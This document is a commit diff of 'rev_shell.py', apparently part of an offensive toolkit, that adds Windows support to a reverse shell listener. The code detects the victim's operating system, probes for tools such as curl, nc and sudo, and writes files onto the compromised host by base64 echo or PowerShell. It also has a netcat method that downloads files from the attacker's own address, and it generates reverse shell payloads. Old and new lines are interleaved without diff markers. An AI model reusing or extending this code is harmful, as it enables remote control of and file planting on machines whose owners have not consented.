shell win impl.
This commit is contained in:
169
rev_shell.py
169
rev_shell.py
@@ -5,6 +5,7 @@ import os
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import sys
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import pty
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import util
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import upload_file
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import time
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import random
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import threading
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@@ -31,6 +32,7 @@ class ShellListener:
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self.connection = None
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self.on_connect = None
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self.features = set()
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self.os = None # we need a way to find the OS here
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def startBackground(self):
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self.listen_thread = threading.Thread(target=self.start)
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@@ -41,11 +43,14 @@ class ShellListener:
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return feature.lower() in self.features
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def probe_features(self):
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features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
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for feature in features:
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output = self.exec_sync("whereis " + feature)
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if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
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self.features.add(feature.lower())
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if self.os == "unix":
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features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
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for feature in features:
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output = self.exec_sync("whereis " + feature)
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if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
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self.features.add(feature.lower())
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else:
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print("[-] Can't probe features for os:", self.os)
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def get_features(self):
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return self.features
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@@ -62,16 +67,33 @@ class ShellListener:
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if self.on_connect:
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self.on_connect(addr)
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got_first_prompt = False
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while self.running:
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data = self.connection.recv(1024)
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if not data:
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break
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if self.os is None and not got_first_prompt:
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if b"Windows PowerShell" in data:
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self.os = "win"
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elif b"bash" in data or b"sh" in data:
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self.os = "unix"
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if self.os and self.verbose:
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print("OS PROBED:", self.os)
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if self.verbose:
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print("< ", data)
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for callback in self.on_message:
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callback(data)
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if got_first_prompt: # TODO: check this...
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for callback in self.on_message:
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callback(data)
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elif self.is_prompt(data):
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got_first_prompt = True
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if self.verbose:
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print("RECV first prompt")
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print("[-] Disconnected")
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self.connection = None
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@@ -96,7 +118,23 @@ class ShellListener:
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data += b"\n"
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return self.send(data)
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def is_prompt(self, data):
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if self.os == "unix":
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if data.endswith(b"# ") or data.endswith(b"$ "):
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return True
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elif self.os == "win":
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if data.endswith(b"> "):
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return True
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return False
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def exec_sync(self, cmd):
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if self.os is None:
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print("[-] OS not probed yet, waiting...")
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while self.os is None:
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time.sleep(0.1)
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output = b""
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complete = False
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@@ -111,12 +149,17 @@ class ShellListener:
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return
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output += data
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if data.endswith(b"# ") or data.endswith(b"$ "):
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if self.is_prompt(output):
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complete = True
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if b"\n" in output:
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output = output[0:output.rindex(b"\n")]
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if output.startswith(cmd + b"\n"):
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output = output[len(cmd)+1:]
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if self.os == "unix":
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line_ending = b"\n"
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elif self.os == "win":
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line_ending = b"\r\n"
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if line_ending in output:
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output = output[0:output.rindex(line_ending)]
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if output.startswith(cmd + line_ending):
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output = output[len(cmd)+len(line_ending):]
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self.on_message.append(callback)
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self.sendline(cmd)
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@@ -140,34 +183,86 @@ class ShellListener:
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time.sleep(0.1)
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return self.running
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def write_file(self, path, data_or_fd, permissions=None):
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def get_cwd(self):
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if self.os == "unix":
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return self.exec_sync("pwd").decode()
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elif self.os == "win":
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return self.exec_sync("pwd | foreach {$_.Path}").decode()
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else:
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print("[-] get_cwd not implemented for os:", self.os)
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return None
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def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs):
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if method == None:
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if self.os == "win":
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method = "powershell"
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elif self.os == "unix":
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method = "echo"
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else:
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print("[-] No method specified, assuming 'echo'")
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method = echo
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send_func = self.sendline if not sync else self.exec_sync
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def write_chunk(chunk, first=False):
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# assume this is unix
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chunk = base64.b64encode(chunk).decode()
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operator = ">" if first else ">>"
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self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
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if method == "powershell":
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send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')")
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send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)")
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else:
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operator = ">" if first else ">>"
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send_func(f"echo {chunk}|base64 -d {operator} {path}")
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chunk_size = 1024
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if hasattr(data_or_fd, "read"):
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first = True
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while True:
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data = data_or_fd.read(chunk_size)
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if not data:
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break
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if isinstance(data, str):
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data = data.encode()
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write_chunk(data, first)
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first = False
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data_or_fd.close()
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if method == "echo" or method == "powershell":
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if method == "powershell":
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path = path.replace("'","\\'")
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send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)")
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chunk_size = 1024
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if hasattr(data_or_fd, "read"):
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first = True
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while True:
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data = data_or_fd.read(chunk_size)
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if not data:
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break
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if isinstance(data, str):
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data = data.encode()
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write_chunk(data, first)
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first = False
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data_or_fd.close()
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else:
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if isinstance(data_or_fd, str):
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data_or_fd = data_or_fd.encode()
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for offset in range(0, len(data_or_fd), chunk_size):
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write_chunk(data_or_fd[offset:chunk_size], offset == 0)
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if method == "powershell":
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send_func(f"$stream.Close()")
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elif method == "nc" or method == "netcat":
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ip_addr = util.get_address()
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bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"]
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port = None if "listen_port" not in kwargs else int(kwargs["listen_port"])
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sock = util.open_server(ip_addr, port, retry=False)
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if not sock:
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return False
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def serve_file():
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upload_file.serve_file(sock, data_or_fd, forever=False)
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port = sock.getsockname()[1]
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upload_thread = threading.Thread(target=serve_file)
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upload_thread.start()
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send_func(f"{bin_path} {ip_addr} {port} > {path}")
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upload_thread.join()
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else:
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if isinstance(data_or_fd, str):
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data_or_fd = data_or_fd.encode()
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for offset in range(0, len(data_or_fd), chunk_size):
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write_chunk(data_or_fd[offset:chunk_size], offset == 0)
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print("[-] Unknown write-file method:", method)
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return False
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if permissions:
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self.sendline(f"chmod {permissions} {path}")
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if permissions and self.os == "unix":
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send_func(f"chmod {permissions} {path}")
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class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
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daemon_threads = True
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@@ -367,7 +462,7 @@ if __name__ == "__main__":
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# choose random port
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if listen_port is None:
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listen_port = random.randint(10000,65535)
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while util.isPortInUse(listen_port):
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while util.is_port_in_use(listen_port):
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listen_port = random.randint(10000,65535)
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payload = generate_payload(payload_type, local_address, listen_port)
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